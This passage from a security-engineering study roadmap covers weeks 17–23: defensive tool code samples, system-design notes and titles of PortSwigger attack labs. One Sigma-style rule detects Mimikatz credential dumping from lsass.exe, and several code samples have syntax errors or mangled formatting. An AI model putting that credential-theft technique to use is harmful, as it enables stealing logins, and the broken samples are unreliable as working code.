- [ ] Dockerfile security linter tool
- [ ] 8 OS injection & WebSocket labs (Total: 102/211)
- [ ] Container security checklist
- [ ] Python fluency: 8.5/10

Time Allocation Summary

Activity	Hours
Docker Security Reading	2
Kubernetes Security Reading	2
OS Injection Reading	2
Docker Hardening Lab	3
Kubernetes RBAC Lab	2
Container Escape Testing	1
Dockerfile Linter Development	3
PortSwigger OS Injection Labs	5
WebSockets Labs	5
TOTAL	**25**

END OF PHASE 2: Detection & Exploitation

✓ Weeks 9-16 Complete
✓ Total PortSwigger Labs: 102/211 (48% complete)
✓ Python Fluency: 8.5/10

Phase 3: Coding & System Design

Weeks 17-24 | April 7 - June 1, 2026
Total Hours: 184 hours
Weekly Average: 23 hours
Focus: Production Security Tools, System Design, Interview Preparation

Goals for Phase 3:
- Build 4 production-quality security tools for portfolio
- Master security system design interview questions
- Complete advanced PortSwigger labs (reach 150+ total)
- Launch professional portfolio website
- Practice mock interviews weekly

Week 17: Security Tool Development - Log Parser

April 7-13, 2026 | Total: 23 hours

Production Tool Development (15 hours)

Project: Advanced Security Log Parser

Goal: Build production-quality log analysis tool with IOC extraction, correlation, and reporting

Core Features:
1. Multi-format log parsing (syslog, JSON, CEF, Windows Event Log)
2. Automatic IOC extraction (IPs, domains, URLs, hashes)
3. Correlation rules engine
4. Real-time monitoring with alerting
5. Web dashboard for visualization
6. Export to SIEM formats

Architecture:

```
log_parser/
├── src/
│   ├── parsers/
│   │   ├── __init__.py
│   │   ├── syslog_parser.py
│   │   ├── json_parser.py
│   │   ├── windows_parser.py
│   │   └── base_parser.py
│   ├── extractors/
│   │   ├── ioc_extractor.py
│   │   └── pattern_matcher.py
│   ├── correlation/
│   │   ├── rule_engine.py
│   │   └── alert_manager.py
│   ├── storage/
│   │   ├── database.py
│   │   └── models.py
│   ├── api/
│   │   ├── app.py
│   │   └── routes.py
│   └── web/
│       ├── static/
│       └── templates/
├── tests/
│   ├── test_parsers.py
│   ├── test_extractors.py
│   └── test_correlation.py
├── config/
│   ├── correlation_rules.yaml
│   └── config.yaml
├── requirements.txt
├── setup.py
├── README.md
└── LICENSE
```

Implementation Tasks:
1. **Week 17 Development (15 hours):**
- Set up project structure
- Implement base parser class with abstract methods
- Build syslog parser with regex patterns
- Create IOC extractor with comprehensive patterns
- Unit tests for parsers and extractors
- Documentation

Technical Requirements:
- Python 3.11+
- SQLite/PostgreSQL for storage
- Flask for API/dashboard

- pytest for testing
- Black/flake8 for code quality
- Type hints throughout
- Logging with rotating file handler
- Configuration via YAML

Code Sample - Base Parser:

```
# src/parsers/base_parser.py
from abc import ABC, abstractmethod
from datetime import datetime
from typing import Dict, List, Optional
import logging

class LogEntry:
    \"\"\"Represents a parsed log entry\"\"\"
    def __init__(self, timestamp: datetime, source: str,
                 level: str, message: str, metadata: Dict):
        self.timestamp = timestamp
        self.source = source
        self.level = level
        self.message = message
        self.metadata = metadata

    def to_dict(self) -> Dict:
        return {
            'timestamp': self.timestamp.isoformat(),
            'source': self.source,
            'level': self.level,
            'message': self.message,
            'metadata': self.metadata
        }

class BaseParser(ABC):
    \"\"\"Abstract base class for log parsers\"\"\"

    def __init__(self):
        self.logger = logging.getLogger(self.__class__.__name__)

    @abstractmethod
    def parse_line(self, line: str) -> Optional[LogEntry]:
        \"\"\"Parse single log line\"\"\"
        pass

    @abstractmethod
    def parse_file(self, filepath: str) -> List[LogEntry]:
        \"\"\"Parse entire log file\"\"\"
        pass

    def validate_entry(self, entry: LogEntry) -> bool:
        \"\"\"Validate parsed log entry\"\"\"
        if not entry.timestamp or not entry.message:
            return False
        return True
```

AppSec Labs (8 hours)

PortSwigger CORS Labs

Complete CORS (Cross-Origin Resource Sharing) Vulnerabilities

Labs:
1. CORS vulnerability with basic origin reflection
2. CORS vulnerability with trusted null origin
3. CORS vulnerability with trusted insecure protocols
4. CORS vulnerability with internal network pivot attack

Information Disclosure Labs:
1. Information disclosure in error messages
2. Information disclosure on debug page
3. Source code disclosure via backup files
4. Authentication bypass via information disclosure
5. Information disclosure in version control history

Total: 111/211 labs

Deliverables

- [ ] Log parser tool with multi-format support
- [ ] IOC extraction module
- [ ] Unit tests (80%+ coverage)
- [ ] README with usage examples
- [ ] 9 PortSwigger labs (Total: 111/211)
- [ ] Python fluency: 9/10

Time Allocation

Activity	Hours
Log Parser Development	15
CORS Labs	4
Information Disclosure Labs	5
Testing & Documentation	(included in dev)
TOTAL	**23**

Week 18: Security Tool Development - Web Scraper & Threat Intel

April 14-20, 2026 | Total: 23 hours

Production Tool Development (15 hours)

Project: Automated Threat Intelligence Scraper

Goal: Build asynchronous web scraper for collecting threat intelligence from multiple sources

Core Features:
1. Asynchronous scraping (multiple sources simultaneously)
2. IOC extraction from threat intel feeds
3. Deduplication and normalization
4. Export to STIX/JSON formats
5. Integration with VirusTotal, AlienVault OTX APIs
6. Scheduled automated collection

Data Sources:
- AlienVault OTX (Open Threat Exchange)
- Abuse.ch (URLhaus, MalwareBazaar, ThreatFox)
- MISP Feeds
- PhishTank
- Custom RSS/Atom feeds
- Twitter Security Researchers

Architecture:

```python
# src/scrapers/threat_intel_scraper.py
import asyncio
import aiohttp
from typing import List, Dict, Set
from datetime import datetime
import hashlib

class ThreatIntelScraper:
    """Async threat intelligence collector"""

    def __init__(self, config: Dict):
        self.config = config
        self.session = None
        self.collected_iocs = {
            'ips': set(),
            'domains': set(),
            'urls': set(),
            'hashes': set()
        }

    async def __aenter__(self):
        self.session = aiohttp.ClientSession()
        return self

    async def __aexit__(self, exc_type, exc_val, exc_tb):
        await self.session.close()

    async def scrape_otx(self) -> Dict:
        \"\"\"Scrape AlienVault OTX pulses\"\"\"
        url = "https://otx.alienvault.com/api/v1/pulses/subscribed"
        headers = {'X-OTX-API-KEY': self.config['otx_api_key']}

        async with self.session.get(url, headers=headers) as resp:
            data = await resp.json()
            for pulse in data.get('results', []):
                for indicator in pulse.get('indicators', []):
                    ioc_type = indicator['type']
                    value = indicator['indicator']

                    if ioc_type == 'IPv4':
                        self.collected_iocs['ips'].add(value)
                    elif ioc_type == 'domain':
                        self.collected_iocs['domains'].add(value)
                    elif ioc_type == 'URL':
                        self.collected_iocs['urls'].add(value)
                    elif ioc_type in ['FileHash-MD5', 'FileHash-SHA256']:
                        self.collected_iocs['hashes'].add(value)
        return {'source': 'OTX', 'count': len(pulse.get('indicators', []))}

    async def scrape_urlhaus(self) -> Dict:
        \"\"\"Scrape Abuse.ch URLhaus recent URLs\"\"\"
        url = "https://urlhaus.abuse.ch/downloads/json_recent/"

        async with self.session.get(url) as resp:
            data = await resp.json()
            for entry in data:
                if 'url' in entry:
                    self.collected_iocs['urls'].add(entry['url'])
                if 'host' in entry:
                    self.collected_iocs['domains'].add(entry['host'])

        return {'source': 'URLhaus', 'count': len(data)}

    async def scrape_all_sources(self) -> Dict:
        \"\"\"Scrape all configured sources concurrently\"\"\"
        tasks = [
            self.scrape_otx(),
            self.scrape_urlhaus(),
            # Add more sources
        ]

        results = await asyncio.gather(*tasks, return_exceptions=True)

        summary = {
            'timestamp': datetime.utcnow().isoformat(),
            'sources_scraped': len(results),
            'total_iocs': sum(len(v) for v in self.collected_iocs.values()),
            'by_type': {k: len(v) for k, v in self.collected_iocs.items()}
        }

        return summary

    def export_stix(self, output_file: str):
        \"\"\"Export collected IOCs in STIX 2.1 format\"\"\"
        # Implementation for STIX export
        pass

    def deduplicate_and_normalize(self):
        \"\"\"Remove duplicates and normalize IOCs\"\"\"
        # Normalize domains (lowercase)
        self.collected_iocs['domains'] = {d.lower() for d in self.collected_iocs['domains']}

        # Normalize IPs (remove leading zeros)
        # Validate hashes
        pass
```

```
# Usage
async def main():
    config = {
        'otx_api_key': 'YOUR_API_KEY',
        # Other config
    }

    async with ThreatIntelScraper(config) as scraper:
        summary = await scraper.scrape_all_sources()
        print(f"Collected {summary['total_iocs']} IOCs from {summary['sources_scraped']} sources")
        scraper.export_stix('threat_intel.json')

asyncio.run(main())
```

Implementation Tasks:
1. Async scraper with aiohttp
2. Multiple source collectors
3. IOC extraction and normalization
4. Deduplication logic
5. STIX export functionality
6. Scheduling with APScheduler
7. Error handling and retry logic
8. Comprehensive logging
9. Unit and integration tests
10. Docker containerization

AppSec Labs (8 hours)

PortSwigger Advanced Labs

HTTP Request Smuggling (5 hours):
1. HTTP request smuggling, basic CL.TE vulnerability
2. HTTP request smuggling, basic TE.CL vulnerability
3. HTTP request smuggling, obfuscating the TE header
4. HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
5. HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

OAuth Authentication (3 hours):
1. Authentication bypass via OAuth implicit flow
2. Forced OAuth profile linking
3. OAuth account hijacking via redirect_uri

Total: 119/211 labs

Deliverables

- [ ] Threat intel scraper with async collection
- [ ] Multi-source integration (OTX, URLhaus, etc.)

- [ ] STIX export functionality
- [ ] Docker container for deployment
- [ ] 8 advanced labs (Total: 119/211)
- [ ] Async Python proficiency demonstrated
- [ ] Python fluency: 9/10

Time Allocation

Activity	Hours
Threat Intel Scraper Development	15
HTTP Request Smuggling Labs	5
OAuth Labs	3
TOTAL	**23**

Week 19: Portfolio Launch + Vulnerability Aggregator

April 21-27, 2026 | Total: 23 hours

Production Tool Development (12 hours)

Project: Multi-Source Vulnerability Aggregator

Goal: Aggregate vulnerability data from multiple scanners into unified dashboard

Data Sources:
- Nessus scan results (XML/JSON)
- Trivy container scans
- Semgrep SAST results
- Dependency-Check outputs
- Manual penetration test findings

Features:
1. Import from multiple scanner formats
2. Deduplication (same vuln from different scanners)
3. CVSS-based prioritization
4. Remediation tracking
5. Executive dashboard
6. Export reports (PDF, Excel, CSV)
7. Integration with Jira for ticket creation

Tech Stack:
- Backend: Flask REST API
- Database: PostgreSQL

- Frontend: React with Chart.js
- Container: Docker Compose

Code Sample - Aggregator Core:

```
# src/aggregator/vulnerability_aggregator.py
from typing import List, Dict
from dataclasses import dataclass
from datetime import datetime
import hashlib

@dataclass
class Vulnerability:
    """Unified vulnerability representation\"\"\"
    id: str
    title: str
    description: str
    cvss_score: float
    severity: str  # Critical, High, Medium, Low
    affected_assets: List[str]
    sources: List[str]  # Which scanners found it
    first_detected: datetime
    last_seen: datetime
    status: str  # Open, In Progress, Fixed, Accepted Risk
    remediation: str

class VulnerabilityAggregator:
    """Aggregate vulnerabilities from multiple sources\"\"\"

    def __init__(self, db_connection):
        self.db = db_connection
        self.vulnerabilities = {}

    def import_nessus(self, nessus_xml: str):
        \"\"\"Parse Nessus XML results\"\"\"
        # Parse XML, extract vulnerabilities
        # Create Vulnerability objects
        pass

    def import_trivy(self, trivy_json: str):
        \"\"\"Parse Trivy JSON results\"\"\"
        pass

    def import_semgrep(self, semgrep_json: str):
        \"\"\"Parse Semgrep SAST results\"\"\"
        pass

    def deduplicate(self):
        \"\"\"
        Identify same vulnerability from different sources
        Use fingerprinting: hash(title + affected_asset + vuln_type)
        \"\"\"
        fingerprints = {}
        for vuln_id, vuln in self.vulnerabilities.items():
            fingerprint = hashlib.sha256(
                f"{vuln.title}{vuln.affected_assets}{vuln.cvss_score}".encode()
            ).hexdigest()

            if fingerprint in fingerprints:
                # Merge with existing
                existing = fingerprints[fingerprint]
                existing.sources.extend(vuln.sources)
                existing.last_seen = max(existing.last_seen, vuln.last_seen)
            else:
                fingerprints[fingerprint] = vuln

        self.vulnerabilities = {v.id: v for v in fingerprints.values()}

    def prioritize(self) -> List[Vulnerability]:
        \"\"\"
        Prioritize vulnerabilities using scoring:
        - CVSS score (40%)
        - Asset criticality (30%)
        - Exploit availability (20%)
        - Age of vulnerability (10%)
        \"\"\"
        scored_vulns = []

        for vuln in self.vulnerabilities.values():
            score = (
                vuln.cvss_score * 0.4 +
                self.get_asset_criticality(vuln.affected_assets) * 0.3 +
                self.get_exploit_score(vuln) * 0.2 +
                self.get_age_score(vuln) * 0.1
            )
            scored_vulns.append((score, vuln))

        return [v for _, v in sorted(scored_vulns, reverse=True)]

    def generate_executive_report(self) -> Dict:
        \"\"\"Generate executive summary\"\"\"
        return {
            'total_vulnerabilities': len(self.vulnerabilities),
            'by_severity': self._count_by_severity(),
            'by_status': self._count_by_status(),
            'top_10_critical': self.prioritize()[:10],
            'remediation_sla_status': self._check_sla_compliance(),
            'trend': self._calculate_trend()
        }
```

Portfolio Website Development (3 hours)

GitHub Pages Portfolio:
- Professional landing page
- Security projects showcase
- Blog section (link to dev.to)
- Resume download
- Contact information

Structure:

```
portfolio/
├── index.html
├── css/
│   └── style.css
├── js/
│   └── main.js
├── projects/
│   ├── log-parser.html
│   ├── threat-intel-scraper.html
│   └── vuln-aggregator.html
├── blog/
└── resume.pdf
```

Content:
1. **Projects Section:**
- Log Parser with GitHub link
- Threat Intel Scraper
- Vulnerability Aggregator
- Screenshots and demos

1. **Skills Section:**
2. Python, Security Tools
3. Cloud ([Target Company]), Containers (Docker)
4. SIEM, Threat Hunting
5. PortSwigger labs completed
6. **Blog:**
7. Link to dev.to posts
8. Technical writeups

AppSec Labs (8 hours)

PortSwigger Advanced Topics

Server-Side Template Injection (4 hours):
1. Basic server-side template injection

2. Basic server-side template injection (code context)
3. Server-side template injection using documentation
4. Server-side template injection in an unknown language with a documented exploit

Directory Traversal (2 hours):
1. File path traversal, simple case
2. File path traversal, traversal sequences blocked with absolute path bypass
3. File path traversal, traversal sequences stripped non-recursively

Access Control Advanced (2 hours):
1. URL-based access control can be circumvented
2. Method-based access control can be circumvented

Total: 128/211 labs

Deliverables

- [ ] Vulnerability aggregator with multi-source import
- [ ] Deduplication and prioritization logic
- [ ] Executive dashboard (React frontend)
- [ ] Portfolio website live on GitHub Pages
- [ ] Project showcases with screenshots
- [ ] 9 advanced labs (Total: 128/211)
- [ ] Professional online presence established
- [ ] Python fluency: 9/10

Time Allocation

Activity	Hours
Vulnerability Aggregator Development	12
Portfolio Website	3
SSTI Labs	4
Directory Traversal Labs	2
Access Control Labs	2
TOTAL	**23**

Week 20: SIEM Correlation Engine

April 28 - May 4, 2026 | Total: 23 hours

Production Tool Development (15 hours)

Project: Custom SIEM Correlation Engine

Goal: Build correlation engine for detecting multi-stage attacks

Core Features:
1. Real-time event correlation
2. Rule-based detection (similar to Sigma)
3. Statistical anomaly detection
4. Attack chain identification
5. Alert aggregation and deduplication
6. Integration with existing SIEM (forward alerts)

Detection Rules Examples:

```yaml
# rules/brute_force_detection.yaml
name: SSH Brute Force Detection
description: Detect multiple failed SSH login attempts
severity: high
detection:
  condition:
    - event_type: "auth_failure"
    - source_ip: variable
    - protocol: "ssh"
    - timeframe: 300s  # 5 minutes
    - threshold: 5
  action:
    - create_alert
    - block_ip
    - notify: security@company.com

# rules/lateral_movement.yaml
name: Lateral Movement via RDP
description: Multiple RDP connections from single source
severity: critical
detection:
  sequence:
    - event: successful_login
      protocol: rdp
      source: workstation
    - event: rdp_connection
      within: 60s
      destination: different_workstation
      threshold: 3
  action:
    - create_high_priority_alert
    - isolate_source_system
```

Architecture:

```
# src/correlation/correlation_engine.py
from typing import List, Dict, Callable
from collections import deque, defaultdict
from datetime import datetime, timedelta
import threading
import queue

class CorrelationRule:
    \"\"\"Represents a correlation rule\"\"\"

    def __init__(self, rule_config: Dict):
        self.name = rule_config['name']
        self.description = rule_config['description']
        self.severity = rule_config['severity']
        self.conditions = rule_config['detection']['condition']
        self.timeframe = rule_config['detection'].get('timeframe', 300)
        self.threshold = rule_config['detection'].get('threshold', 1)

    def matches(self, events: List[Dict]) -> bool:
        \"\"\"Check if events match this rule\"\"\"
        # Implement matching logic
        pass

class CorrelationEngine:
    \"\"\"Real-time event correlation engine\"\"\"

    def __init__(self, rules_dir: str):
        self.rules = self.load_rules(rules_dir)
        self.event_buffer = deque(maxlen=10000)
        self.event_queue = queue.Queue()
        self.running = False
        self.alert_handlers = []

        # Track state for stateful rules
        self.state_tracker = defaultdict(list)

    def load_rules(self, rules_dir: str) -> List[CorrelationRule]:
        \"\"\"Load correlation rules from YAML files\"\"\"
        # Parse YAML rules
        pass

    def add_event(self, event: Dict):
        \"\"\"Add event to processing queue\"\"\"
        self.event_queue.put(event)

    def process_events(self):
        \"\"\"Main processing loop\"\"\"
        while self.running:
            try:
                event = self.event_queue.get(timeout=1)
                self.event_buffer.append(event)

                # Check all rules
                for rule in self.rules:
                    if self.check_rule(rule):
                        alert = self.create_alert(rule, event)
                        self.trigger_alert(alert)

                except queue.Empty:
                    continue

    def check_rule(self, rule: CorrelationRule) -> bool:
        \"\"\"
        Check if recent events match correlation rule
        Implements time-based windowing and thresholds
        \"\"\"
        cutoff_time = datetime.utcnow() - timedelta(seconds=rule.timeframe)
        recent_events = [
            e for e in self.event_buffer
            if e['timestamp'] > cutoff_time
        ]

        # Group by criteria (e.g., source IP)
        grouped = defaultdict(list)
        for event in recent_events:
            if self.matches_conditions(event, rule.conditions):
                key = event.get('source_ip', 'unknown')
                grouped[key].append(event)

        # Check threshold
        for key, events in grouped.items():
            if len(events) >= rule.threshold:
                return True

        return False

    def matches_conditions(self, event: Dict, conditions: List[Dict]) -> bool:
        \"\"\"Check if event matches all conditions\"\"\"
        for condition in conditions:
            for key, value in condition.items():
                if key == 'variable':
                    continue  # Skip variable placeholders
                if event.get(key) != value:
                    return False
        return True
    def create_alert(self, rule: CorrelationRule, triggering_event: Dict) -> Dict:
        \"\"\"Create alert from matched rule\"\"\"
        return {
            'id': self.generate_alert_id(),
            'timestamp': datetime.utcnow().isoformat(),
            'rule_name': rule.name,
            'severity': rule.severity,
            'description': rule.description,
            'triggering_event': triggering_event,
            'related_events': self.get_related_events(rule, triggering_event)
        }

    def trigger_alert(self, alert: Dict):
        \"\"\"Execute alert handlers\"\"\"
        for handler in self.alert_handlers:
            handler(alert)

    def start(self):
        \"\"\"Start correlation engine\"\"\"
        self.running = True
        self.processing_thread = threading.Thread(target=self.process_events)
        self.processing_thread.start()

    def stop(self):
        \"\"\"Stop correlation engine\"\"\"
        self.running = False
        self.processing_thread.join()

# Usage
def email_alert_handler(alert: Dict):
    print(f"[ALERT] {alert['rule_name']}: {alert['description']}")
    # Send email

engine = CorrelationEngine('rules/')
engine.alert_handlers.append(email_alert_handler)
engine.start()

# Simulate events
engine.add_event({
    'timestamp': datetime.utcnow(),
    'event_type': 'auth_failure',
    'source_ip': '192.168.1.100',
    'protocol': 'ssh',
    'username': 'admin'
})
```

Implementation Tasks:

1. Rule parser (YAML to Python objects)

2. Event buffering with time-based windows
3. Correlation logic (threshold, sequence, statistical)
4. Alert generation and deduplication
5. Multiple alert handlers (email, Slack, syslog)
6. Performance optimization (handle 1000+ events/sec)
7. Unit and integration tests
8. Docker deployment

AppSec Labs (8 hours)

PortSwigger Advanced Exploitation

Insecure Deserialization (4 hours):
1. Modifying serialized objects
2. Modifying serialized data types
3. Using application functionality to exploit insecure deserialization
4. Arbitrary object injection in PHP

SQL Injection Advanced (4 hours):
1. SQL injection with filter bypass via XML encoding
2. Blind SQL injection with conditional errors
3. Visible error-based SQL injection
4. Blind SQL injection with time delays and information retrieval

Total: 136/211 labs

Deliverables

- [ ] SIEM correlation engine with rule system
- [ ] Multi-stage attack detection
- [ ] Real-time processing (1000+ events/sec)
- [ ] Alert handlers (email, Slack, syslog)
- [ ] Docker deployment
- [ ] 8 advanced labs (Total: 136/211)
- [ ] Rule writing documentation
- [ ] Python fluency: 9/10

Time Allocation

Activity	Hours
Correlation Engine Development	15
Insecure Deserialization Labs	4
SQL Injection Advanced	4
TOTAL	**23**

Week 21: System Design - Authentication & Authorization

May 5-11, 2026 | Total: 23 hours

System Design Focus (15 hours)

Core System Design Interview Concepts

Authentication System Design:

Problem: Design a scalable authentication system for 100M users supporting multiple auth methods

Requirements:
- Password-based authentication
- OAuth 2.0 ([Target Company], GitHub, Facebook)
- Multi-factor authentication (TOTP, SMS, biometric)
- Session management
- 99.99% availability
- Sub-100ms authentication latency
- Geographic distribution
- Security best practices

High-Level Architecture:

```
                    Load Balancer (Global)
                           |
          +------------------+------------------+
          |                  |                  |
     Auth Service       Auth Service       Auth Service
     (US-East)          (EU-West)          (Asia)
          |                  |                  |
          +------------------+------------------+
                           |
                    Distributed Cache
                    (Redis Cluster)
                           |
          +------------------+------------------+
          |                  |                  |
     User Database      Session Store      MFA Store
     (PostgreSQL)       (Redis)            (Redis)
```

Components:

1. **Auth Service (Stateless):**
2. Password verification with Argon2
3. OAuth 2.0 integration
4. Token generation (JWT)

5. Rate limiting (100 attempts/IP/hour)
6. Horizontal scaling
7. **Session Management:** `python # Session design { "session_id": "uuid4", "user_id": 12345, "created_at": "2026-05-05T10:00:00Z", "expires_at": "2026-05-06T10:00:00Z", "ip_address": "192.168.1.1", "user_agent": "Mozilla/5.0...", "mfa_verified": true, "permissions": ["read", "write"] }`
8. Store in Redis with TTL
9. Sliding expiration
10. Geographic awareness (store in nearest region)
11. **MFA Implementation:**
12. TOTP: Time-based One-Time Password (RFC 6238)
13. Secret stored per user
14. 30-second time window
15. Backup codes (encrypted, one-time use)
16. **Password Security:**
17. Argon2id with high parameters
18. Per-user salt
19. Pepper stored separately (HSM or environment)
20. Password policy: 12+ chars, complexity requirements
21. Breach detection (HaveIBeenPwned API)
22. **Scalability:**
23. Read replicas for user database
24. Redis Cluster for sessions (millions of sessions)
25. CDN for static assets
26. Geographic load balancing (Route 53, [Target Company])
27. **Security Measures:**
28. Rate limiting: Token bucket algorithm
29. Account lockout after N failed attempts
30. CAPTCHA after 3 failed attempts
31. Suspicious login detection (new device, location)
32. Logging all auth events to SIEM

Capacity Planning:

```
Users: 100M
Active sessions: 10M concurrent
Auth requests: 50K/sec peak
Session validation: 500K/sec

Redis memory:
- Session size: 1KB
- 10M sessions = 10GB
- Replication factor 3 = 30GB total

Database:
- User records: 100M × 2KB = 200GB
- With indexes: ~500GB
- Read replicas: 5 (geographic distribution)
```

Interview Discussion Points:
- How to handle OAuth token refresh?
- Session fixation prevention
- CSRF token implementation
- Password reset security
- Account recovery without email
- Regulatory compliance (GDPR, SOC2)
- Monitoring and alerting
- Incident response for auth bypass

Practice Problems (15 hours)

1. **Design Single Sign-On (SSO) System** (3 hours)
2. SAML 2.0 vs OAuth 2.0 vs OIDC
3. Central authentication service
4. Service Provider integration
5. Session propagation
6. **Design API Gateway with AuthN/AuthZ** (3 hours)
7. JWT validation
8. Rate limiting per user/API key
9. Permission model (RBAC/ABAC)
10. Caching decisions
11. **Design Passwordless Authentication** (3 hours)
12. Magic links via email
13. WebAuthn/FIDO2
14. Biometric authentication
15. Security considerations

16. **Design Account Takeover Prevention** (3 hours)
17. Suspicious login detection
18. Device fingerprinting
19. Behavioral biometrics
20. Risk scoring system
21. **Mock Interviews** (3 hours)
22. Practice with peers or online platforms
23. 45-minute interview simulation
24. Feedback and iteration

AppSec Labs (8 hours)

PortSwigger Advanced Topics

Prototype Pollution (4 hours):
1. Client-side prototype pollution via browser APIs
2. Client-side prototype pollution in third-party libraries
3. Client-side prototype pollution via flawed sanitization
4. Server-side prototype pollution via polluted property

DOM-based Vulnerabilities (4 hours):
1. DOM XSS using web messages
2. DOM XSS using web messages and a JavaScript URL
3. DOM XSS using web messages and JSON.parse
4. DOM-based open redirection

Total: 144/211 labs

Deliverables

- [ ] Authentication system design document
- [ ] SSO system design with diagrams
- [ ] API Gateway architecture
- [ ] Passwordless auth design
- [ ] Mock interview recordings (3 sessions)
- [ ] 8 advanced labs (Total: 144/211)
- [ ] System design interview prep notes
- [ ] Communication skills improved

Time Allocation

Activity	Hours
Authentication System Design	3
SSO Design	3
API Gateway Design	3
Passwordless Auth Design	3
Account Takeover Prevention	3
Prototype Pollution Labs	4
DOM-based Vulnerability Labs	4
TOTAL	**23**

Week 22: System Design - Detection & Monitoring

May 12-18, 2026 | Total: 23 hours

System Design Focus (15 hours)

SIEM System Design

Problem: Design a SIEM system processing 1TB/day of logs from 100K endpoints

Requirements:
- Ingest 1TB/day (11.5 MB/sec average, 50 MB/sec peak)
- Real-time correlation (< 1 second latency)
- Long-term storage (1 year hot, 7 years archive)
- Advanced threat hunting queries
- Custom detection rules
- 99.9% availability
- Compliance reporting (PCI-DSS, HIPAA, SOX)

Architecture:

```
Data Sources (100K endpoints)
         |
    Load Balancer
         |
+-----------------+
|   Collectors    |  (Logstash, Fluentd, Filebeat)
| (Auto-scaling)  |
+-----------------+
         |
+-----------------+
|  Message Queue  |  (Kafka - buffering, replay)
|  (Partitioned)  |
+-----------------+
         |
+-----------------+
| Stream Processor|  (Apache Flink, Kafka Streams)
| (Correlation)   |  - Pattern matching
+-----------------+  - Anomaly detection
         |          - Alerting
         |
+--------+--------+
|                 |
Hot Storage    Cold Storage
(Elasticsearch)  (S3 + Glacier)
(90 days)       (7 years)
         |
+-----------------+
|   Dashboard     |  (Kibana, Custom React)
|   & API         |
+-----------------+
```

Components:

1. **Data Ingestion:**
2. Collectors: Filebeat on each endpoint
3. Parsing: Grok patterns, custom parsers
4. Normalization: Common schema (ECS - Elastic Common Schema)
5. Enrichment: GeoIP, threat intel, asset tagging
6. **Buffering (Kafka):**
7. Topics partitioned by source type
8. Retention: 7 days for replay
9. Scaling: 10 brokers, 100 partitions
10. Replication factor: 3
11. **Stream Processing:**

12. Stateful processing for correlation
13. Time windows: Tumbling, Sliding, Session
14. Exactly-once semantics
15. Backpressure handling
16. **Storage:**
17. **Hot (Elasticsearch):**
    - 90 days retention
    - Daily indices with ILM policy
    - 20 data nodes (96GB RAM each)
    - SSDs for performance
18. **Cold (S3):**
    - Parquet format (compressed)
    - Athena for queries
    - Glacier for 7-year compliance
19. **Detection Rules:**
```yaml
# Sigma-style detection rule
title: Credential Dumping via Mimikatz
description: Detects Mimikatz execution patterns
status: production
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10 # Process access
TargetImage|endswith: 'lsass.exe'
GrantedAccess: '0x1010'
condition: selection
falsepositives:

    ◦ Legitimate administration tools
      level: critical
```

20. **Correlation Example:**
```python
# Multi-stage attack detection
class AttackChainDetector:
def **init**(self):
self.state = {}

def process_event(self, event):
user = event['user']
```

```
    # Stage 1: Initial access (phishing)
    if event['type'] == 'email_click_suspicious':
        self.state[user] = {'stage': 1, 'timestamp': event['timestamp']}

    # Stage 2: Execution (within 5 minutes)
    elif event['type'] == 'process_creation' and user in self.state:
        if event['timestamp'] - self.state[user]['timestamp'] < 300:
            self.state[user]['stage'] = 2

    # Stage 3: Persistence (within 10 minutes of execution)
    elif event['type'] == 'scheduled_task_creation' and user in self.state:
        if self.state[user]['stage'] == 2:
            # ALERT: Multi-stage attack detected
            self.create_alert(user, 'Multi-stage attack chain detected')
```

```

**Capacity Planning:**

```
Ingestion:
- 1TB/day = 41.6GB/hour = 11.5MB/sec average
- Peak (3x): 34.5MB/sec
- Kafka throughput: 100MB/sec per broker (10 brokers = 1GB/sec)

Storage:
- Hot: 90 days × 1TB = 90TB raw
- With replication (3x): 270TB
- With compression (5:1): 54TB actual
- Elasticsearch: 20 nodes × 3TB = 60TB capacity

Cold:
- 1TB/day × 365 days × 7 years = 2.5PB raw
- Parquet compression (10:1): 250TB
- S3 Standard: $250TB × $0.023 = $5,750/month
- After 90 days → Glacier Deep Archive: $250TB × $0.00099 = $247.50/month
```

**Monitoring the Monitor:**
- Ingestion lag monitoring
- Parse failure rates
- Correlation rule performance
- Storage utilization
- Alert fatigue metrics (false positive rate)

### Practice Problems (15 hours)

1. **Design Anomaly Detection System** (3 hours)
2. Baseline normal behavior
```

3. Statistical models (z-score, IQR)
4. Machine learning (Isolation Forest)
5. Feedback loop
6. **Design DDoS Detection & Mitigation** (3 hours)
7. Traffic analysis
8. Rate limiting architecture
9. Scrubbing centers
10. BGP blackholing
11. **Design Insider Threat Detection** (3 hours)
12. User behavior analytics (UBA)
13. Data exfiltration detection
14. Privilege abuse monitoring
15. Risk scoring
16. **Design SOC Dashboard** (3 hours)
17. Real-time metrics
18. Alert queue management
19. Investigation workflow
20. Automation (SOAR)
21. **Mock Interviews** (3 hours)
22. Detection system design practice
23. Communication and whiteboarding

AppSec Labs (8 hours)

PortSwigger Final Advanced Topics

Host Header Attacks (3 hours):
1. Basic password reset poisoning
2. Host header authentication bypass
3. Web cache poisoning via ambiguous requests

HTTP/2 Vulnerabilities (3 hours):
1. H2.CL request smuggling
2. H2.TE request smuggling
3. Request smuggling via CRLF injection

Race Conditions (2 hours):
1. Limit overrun race conditions
2. Bypassing rate limits via race conditions

Total: 152/211 labs

Deliverables

- [ ] SIEM system design with capacity planning
- [ ] Anomaly detection architecture
- [ ] DDoS mitigation design
- [ ] Insider threat detection system
- [ ] SOC dashboard design
- [ ] 8 advanced labs (Total: 152/211)
- [ ] Detection engineering expertise demonstrated
- [ ] System design mastery improving

Time Allocation

Activity	Hours
SIEM System Design	3
Anomaly Detection Design	3
DDoS Detection Design	3
Insider Threat Design	3
SOC Dashboard Design	3
Host Header Labs	3
HTTP/2 Labs	3
Race Condition Labs	2
TOTAL	**23**

Week 23: System Design - Network & Cloud Security

May 19-25, 2026 | Total: 23 hours

System Design Focus (15 hours)

Zero Trust Network Architecture

Problem: Design Zero Trust network for enterprise with 10K employees, 50K devices

Zero Trust Principles:
1. Never trust, always verify
2. Assume breach
3. Verify explicitly (identity + device + context)

4. Least privilege access
5. Microsegmentation

Architecture:

```
              Internet
                  |
        +-------+-------+
        |               |
    CASB/SWG       Identity Provider
    (Cloud Access)   ([Target Company], [Target Company] AD)
        |               |
        +-------+-------+
                |
        Policy Engine
      (Context-aware authZ)
                |
    +-----------+-----------+
    |           |           |
Internal     Cloud Apps   SaaS Apps
Resources    ([Target Company]/[Target Company])  (O365, etc)
    |
Network Segmentation
(Micro-perimeters)
```

Components:

1. **Identity-Centric Security:**
2. SSO with MFA
3. Continuous authentication
4. Risk-based access (device health, location, behavior)
